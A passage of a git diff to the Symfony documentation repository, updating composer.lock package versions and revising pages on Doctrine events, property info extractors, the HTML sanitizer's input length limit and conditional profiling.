-                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc"
+                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
-                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/6486fd734bb151a05f592b06ac1569c62d338a08",
+                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08",
                 "shasum": ""
             },
             "require": {
@@ -514,22 +514,22 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.0"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.2"
             },
-            "time": "2023-03-23T08:48:27+00:00"
+            "time": "2023-04-04T06:17:34+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v6.2.3",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "0f579613e771dba2dbb8211c382342a641f5da06"
+                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/0f579613e771dba2dbb8211c382342a641f5da06",
-                "reference": "0f579613e771dba2dbb8211c382342a641f5da06",
+                "url": "https://api.github.com/repos/symfony/console/zipball/3582d68a64a86ec25240aaa521ec8bc2342b369b",
+                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b",
                 "shasum": ""
             },
             "require": {
@@ -591,12 +591,12 @@
             "homepage": "https://symfony.com",
             "keywords": [
                 "cli",
-                "command line",
+                "command-line",
                 "console",
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v6.2.3"
+                "source": "https://github.com/symfony/console/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -612,20 +612,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-28T14:26:22+00:00"
+            "time": "2023-03-29T21:42:15+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v6.2.3",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80"
+                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
-                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
+                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
                 "shasum": ""
             },
             "require": {
@@ -661,7 +661,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v6.2.3"
+                "source": "https://github.com/symfony/css-selector/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -677,20 +677,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-28T14:26:22+00:00"
+            "time": "2023-02-14T08:44:56+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3"
+                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/1ee04c65529dea5d8744774d474e7cbd2f1206d3",
-                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
+                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
                 "shasum": ""
             },
             "require": {
@@ -728,7 +728,7 @@
             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -744,20 +744,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:25:55+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v6.2.3",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2"
+                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/f2743e033dd05a62978ced0ad368022e82c9fab2",
-                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e0d0f709997ad1224ef22bb0a28287c44b7840f",
+                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f",
                 "shasum": ""
             },
             "require": {
@@ -798,7 +798,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.3"
+                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -814,20 +814,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-22T17:55:15+00:00"
+            "time": "2023-03-09T16:20:02+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v6.2.0",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016"
+                "reference": "82b6c62b959f642d000456f08c6d219d749215b3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/50b2523c874605cf3d4acf7a9e2b30b6a440a016",
-                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/82b6c62b959f642d000456f08c6d219d749215b3",
+                "reference": "82b6c62b959f642d000456f08c6d219d749215b3",
                 "shasum": ""
             },
             "require": {
@@ -861,7 +861,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v6.2.0"
+                "source": "https://github.com/symfony/filesystem/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -877,20 +877,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-20T13:01:27+00:00"
+            "time": "2023-02-14T08:44:56+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v6.2.3",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e"
+                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/81eefbddfde282ee33b437ba5e13d7753211ae8e",
-                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/20808dc6631aecafbe67c186af5dcb370be3a0eb",
+                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb",
                 "shasum": ""
             },
             "require": {
@@ -925,7 +925,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v6.2.3"
+                "source": "https://github.com/symfony/finder/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -941,20 +941,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-22T17:55:15+00:00"
+            "time": "2023-02-16T09:57:23+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v6.2.2",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "7054ad466f836309aef511789b9c697bc986d8ce"
+                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/7054ad466f836309aef511789b9c697bc986d8ce",
-                "reference": "7054ad466f836309aef511789b9c697bc986d8ce",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/66391ba3a8862c560e1d9134c96d9bd2a619b477",
+                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477",
                 "shasum": ""
             },
             "require": {
@@ -1009,8 +1009,11 @@
             ],
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "http"
+            ],
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v6.2.2"
+                "source": "https://github.com/symfony/http-client/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1026,20 +1029,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-14T16:11:27+00:00"
+            "time": "2023-03-31T09:14:44+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf"
+                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/c5f587eb445224ddfeb05b5ee703476742d730bf",
-                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
+                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
                 "shasum": ""
             },
             "require": {
@@ -1091,7 +1094,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -1107,7 +1110,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:32:47+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
@@ -1441,16 +1444,16 @@
         },
         {
             "name": "symfony/process",
-            "version": "v6.2.0",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877"
+                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/ba6e55359f8f755fe996c58a81e00eaa67a35877",
-                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877",
+                "url": "https://api.github.com/repos/symfony/process/zipball/75ed64103df4f6615e15a7fe38b8111099f47416",
+                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416",
                 "shasum": ""
             },
             "require": {
@@ -1482,7 +1485,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v6.2.0"
+                "source": "https://github.com/symfony/process/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1498,20 +1501,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-02T09:08:04+00:00"
+            "time": "2023-03-09T16:20:02+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75"
+                "reference": "a8c9cedf55f314f3a186041d19537303766df09a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/aac98028c69df04ee77eb69b96b86ee51fbf4b75",
-                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/a8c9cedf55f314f3a186041d19537303766df09a",
+                "reference": "a8c9cedf55f314f3a186041d19537303766df09a",
                 "shasum": ""
             },
             "require": {
@@ -1567,7 +1570,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/service-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -1583,20 +1586,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:32:47+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v6.2.2",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "863219fd713fa41cbcd285a79723f94672faff4d"
+                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/863219fd713fa41cbcd285a79723f94672faff4d",
-                "reference": "863219fd713fa41cbcd285a79723f94672faff4d",
+                "url": "https://api.github.com/repos/symfony/string/zipball/193e83bbd6617d6b2151c37fff10fa7168ebddef",
+                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef",
                 "shasum": ""
             },
             "require": {
@@ -1653,7 +1656,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v6.2.2"
+                "source": "https://github.com/symfony/string/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1669,7 +1672,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-14T16:11:27+00:00"
+            "time": "2023-03-20T16:06:02+00:00"
         },
         {
             "name": "symfony/translation-contracts",
@@ -1751,16 +1754,16 @@
         },
         {
             "name": "twig/twig",
-            "version": "v3.5.0",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72"
+                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/3ffcf4b7d890770466da3b2666f82ac054e7ec72",
-                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a6e0510cc793912b451fd40ab983a1d28f611c15",
+                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15",
                 "shasum": ""
             },
             "require": {
@@ -1811,7 +1814,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.5.0"
+                "source": "https://github.com/twigphp/Twig/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -1823,7 +1826,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-27T12:28:18+00:00"
+            "time": "2023-02-08T07:49:20+00:00"
         }
     ],
     "packages-dev": [],
diff --git a/components/clock.rst b/components/clock.rst
index 9202a399638..2556d0da285 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -17,7 +17,7 @@ for different use cases:
 :class:`Symfony\\Component\\Clock\\MockClock`
     Commonly used in tests as a replacement for the ``NativeClock`` to be able
     to freeze and change the current time using either ``sleep()`` or ``modify()``.
-:class:`Symfony\\Component\\Clock\\MonotonicClock``
+:class:`Symfony\\Component\\Clock\\MonotonicClock`
     Relies on ``hrtime()`` and provides a high resolution, monotonic clock,
     when you need a precise stopwatch.
 
diff --git a/components/process.rst b/components/process.rst
index 96a5c8c5642..fbd0e041582 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -109,6 +109,11 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
+.. note::
+
+    The ``create_new_console`` option is only available on Windows!
+
+
 Using Features From the OS Shell
 --------------------------------
 
diff --git a/components/property_info.rst b/components/property_info.rst
index 9703adb4eb0..09f15d6c529 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -438,6 +438,7 @@ information from annotations of properties and methods, such as ``@var``,
 
     // Extraction.php
     use Symfony\Component\PropertyInfo\Extractor\PhpStanExtractor;
+    use App\Domain\Foo;
 
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
@@ -505,6 +506,31 @@ with the ``property_info`` service in the Symfony Framework::
     // Type information.
     $doctrineExtractor->getTypes($class, $property);
 
+ConstructorExtractor
+~~~~~~~~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorExtractor`
+tries to extract properties information by using either the
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor` or
+the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor`
+on the constructor arguments::
+
+    // src/Domain/Foo.php
+    class Foo
+    {
+        public function __construct(
+            private string $bar,
+        ) {
+        }
+    }
+
+    // Extraction.php
+    use App\Domain\Foo;
+    use Symfony\Component\PropertyInfo\Extractor\ConstructorExtractor;
+
+    $constructorExtractor = new ConstructorExtractor([new ReflectionExtractor()]);
+    $constructorExtractor->getTypes(Foo::class, 'bar')[0]->getBuiltinType(); // returns 'string'
+
 .. _`components-property-information-extractors-creation`:
 
 Creating Your Own Extractors
diff --git a/components/psr7.rst b/components/psr7.rst
index f8a3915a816..eb5ff8196a9 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -29,9 +29,9 @@ Usage
 Converting from HttpFoundation Objects to PSR-7
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The bridge provides an interface of a factory called
-:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpMessageFactoryInterface`
-that builds objects implementing PSR-7 interfaces from HttpFoundation objects.
+The bridge provides an interface of a factory called 
+`HttpMessageFactoryInterface`_ that builds objects implementing PSR-7
+interfaces from HttpFoundation objects.
 
 The following code snippet explains how to convert a :class:`Symfony\\Component\\HttpFoundation\\Request`
 to a ``Nyholm\Psr7\ServerRequest`` class implementing the
@@ -66,8 +66,8 @@ Converting Objects implementing PSR-7 Interfaces to HttpFoundation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 On the other hand, the bridge provide a factory interface called
-:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpFoundationFactoryInterface`
-that builds HttpFoundation objects from objects implementing PSR-7 interfaces.
+`HttpFoundationFactoryInterface`_ that builds HttpFoundation objects from
+objects implementing PSR-7 interfaces.
 
 The next snippet explain how to convert an object implementing the
 ``Psr\Http\Message\ServerRequestInterface`` interface to a
@@ -93,3 +93,5 @@ to a :class:`Symfony\\Component\\HttpFoundation\\Response` instance::
 .. _`PSR-7`: https://www.php-fig.org/psr/psr-7/
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`libraries that implement psr/http-factory-implementation`: https://packagist.org/providers/psr/http-factory-implementation
+.. _`HttpMessageFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpMessageFactoryInterface.php
+.. _`HttpFoundationFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpFoundationFactoryInterface.php
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index de9a8a31a07..99fbbdd574a 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -179,9 +179,14 @@ Structure
 
 * Exception and error message strings must be concatenated using :phpfunction:`sprintf`;
 
-* Exception and error messages must not contain backticks (e.g. 'The \`foo\` option ...'),
+* Exception and error messages must not contain backticks,
   even when referring to a technical element (such as a method or variable name).
-  Double quotes must be used at all time (e.g. 'The "foo" option ...'),;
+  Double quotes must be used at all time:
+
+  .. code-block:: diff
+
+    - Expected `foo` option to be one of ...
+    + Expected "foo" option to be one of ...
 
 * Exception and error messages must start with a capital letter and finish with a dot ``.``;
 
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 619e59405fa..1e0fedfd00c 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -119,13 +119,13 @@ do so, define a listener for the ``postPersist`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostPersistEventArgs;
 
     class SearchIndexer
     {
         // the listener methods receive an argument which gives you access to
         // both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args): void
+        public function postPersist(PostPersistEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -140,6 +140,11 @@ do so, define a listener for the ``postPersist`` Doctrine event::
         }
     }
 
+.. note::
+
+    In previous Doctrine versions, instead of ``PostPersistEventArgs``, you had
+    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
+
 Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
 a Doctrine listener in your application::
 
@@ -167,12 +172,12 @@ listener in the Symfony application by creating a new service for it and
         namespace App\EventListener;
 
         use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Event\LifecycleEventArgs;
+        use Doctrine\ORM\Event\PostPersistEventArgs;
 
         #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
         class SearchIndexer
         {
-            public function postPersist(LifecycleEventArgs $event): void
+            public function postPersist(PostPersistEventArgs $event): void
             {
                 // ...
             }
@@ -277,13 +282,13 @@ First, define a PHP class that handles the ``postUpdate`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\User;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostUpdateEventArgs;
 
     class UserChangedNotifier
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function postUpdate(User $user, LifecycleEventArgs $event): void
+        public function postUpdate(User $user, PostUpdateEventArgs $event): void
         {
             // ... do something to notify the changes
         }
@@ -419,8 +424,10 @@ want to log all the database activity. To do so, define a subscriber for the
 
     use App\Entity\Product;
     use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
+    use Doctrine\ORM\Event\PostPersistEventArgs;
+    use Doctrine\ORM\Event\PostRemoveEventArgs;
+    use Doctrine\ORM\Event\PostUpdateEventArgs;
     use Doctrine\ORM\Events;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
 
     class DatabaseActivitySubscriber implements EventSubscriberInterface
     {
@@ -436,27 +443,25 @@ want to log all the database activity. To do so, define a subscriber for the
         }
 
         // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type LifecycleEventArgs, which gives you access
+        // they receive an argument of type Post*EventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args): void
+        public function postPersist(PostPersistEventArgs $args): void
         {
-            $this->logActivity('persist', $args);
+            $this->logActivity('persist', $args->getObject());
         }
 
-        public function postRemove(LifecycleEventArgs $args): void
+        public function postRemove(PostRemoveEventArgs $args): void
         {
-            $this->logActivity('remove', $args);
+            $this->logActivity('remove', $args->getObject());
         }
 
-        public function postUpdate(LifecycleEventArgs $args): void
+        public function postUpdate(PostUpdateEventArgs $args): void
         {
-            $this->logActivity('update', $args);
+            $this->logActivity('update', $args->getObject());
         }
 
-        private function logActivity(string $action, LifecycleEventArgs $args): void
+        private function logActivity(string $action, mixed $entity): void
         {
-            $entity = $args->getObject();
-
             // if this subscriber only applies to certain entity types,
             // add some code to check the entity type as early as possible
             if (!$entity instanceof Product) {
@@ -467,6 +472,11 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
+.. note::
+
+    In previous Doctrine versions, instead of ``Post*EventArgs`` classes, you had
+    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
 and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
 work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
diff --git a/form/form_collections.rst b/form/form_collections.rst
index ef6fe509b33..e320d85989f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -643,12 +643,8 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 
         class TaskController extends AbstractController
         {
-            public function edit($id, Request $request, EntityManagerInterface $entityManager): Response
+            public function edit(Task $task, Request $request, EntityManagerInterface $entityManager): Response
             {
-                if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
-                    throw $this->createNotFoundException('No task found for id '.$id);
-                }
-
                 $originalTags = new ArrayCollection();
 
                 // Create an ArrayCollection of the current Tag objects in the database
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 3782bb9866f..85d6d750a25 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -94,7 +94,7 @@ The closure must accept a ``FormInterface`` instance as the first argument::
     public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
-            'empty_data' => function (FormInterface $form) {
+            'empty_data' => function (FormInterface $form): Blog {
                 return new Blog($form->get('title')->getData());
             },
         ]);
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index a75b0a02562..9aa26bbe37e 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -931,6 +931,73 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowRelativeMedias()
         );
 
+Max Input Length
+~~~~~~~~~~~~~~~~
+
+In order to prevent `DoS attacks`_, by default the HTML sanitizer limits the
+input length to ``20000`` characters (as measured by ``strlen($input)``). All
+the contents exceeding that length will be truncated. Use this option to
+increase or decrease this limit:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # inputs longer (in characters) than this value will be truncated
+                        max_input_length: 30000 # default: 20000
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <framework:sanitizer name="app.post_sanitizer">
+                        <!-- inputs longer (in characters) than this value will be truncated (default: 20000) -->
+                        <framework:max-input-length>20000</framework:max-input-length>
+                    </framework:sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // inputs longer (in characters) than this value will be truncated (default: 20000)
+                    ->withMaxInputLength(20000)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // inputs longer (in characters) than this value will be truncated (default: 20000)
+                ->withMaxInputLength(20000)
+        );
+
 Custom Attribute Sanitizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1013,3 +1080,4 @@ to enable it for an HTML sanitizer:
 
 .. _`HTML Sanitizer W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
 .. _`W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
+.. _`DoS attacks`: https://en.wikipedia.org/wiki/Denial-of-service_attack
diff --git a/notifier.rst b/notifier.rst
index fd3771109f7..430d27540aa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -36,7 +36,7 @@ The notifier component supports the following channels:
 .. tip::
 
     Use :doc:`secrets </configuration/secrets>` to securely store your
-    API's tokens.
+    API tokens.
 
 .. _notifier-sms-channel:
 
diff --git a/profiler.rst b/profiler.rst
index a4742419e40..bdf7e753814 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -523,6 +523,27 @@ you'll need to configure the data collector explicitly:
                     // 'priority' => 300,
                 ]);
         };
+        
+Conditional Profiling
+~~~~~~~~~~~~~~~~~~~~~
+
+Symfony profiler provides an immense amount of debug information to quickly find the cause of any problem. However, that comes at a price, because the profiler must collect all that information while serving the request. This can slowdown the application even for requests where you don't look at the profiler information (which are most of them).
+
+You can enable the profiler conditionally. To do that, add these two new config options:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/dev/web_profiler.yaml
+            framework:
+                profiler:
+                    collect: false
+                    collect_parameter: 'profile'
+        
+The collect: false option disables the profiler by default and the collect_parameter: profile option enables it for requests that include the profile query parameter.
+
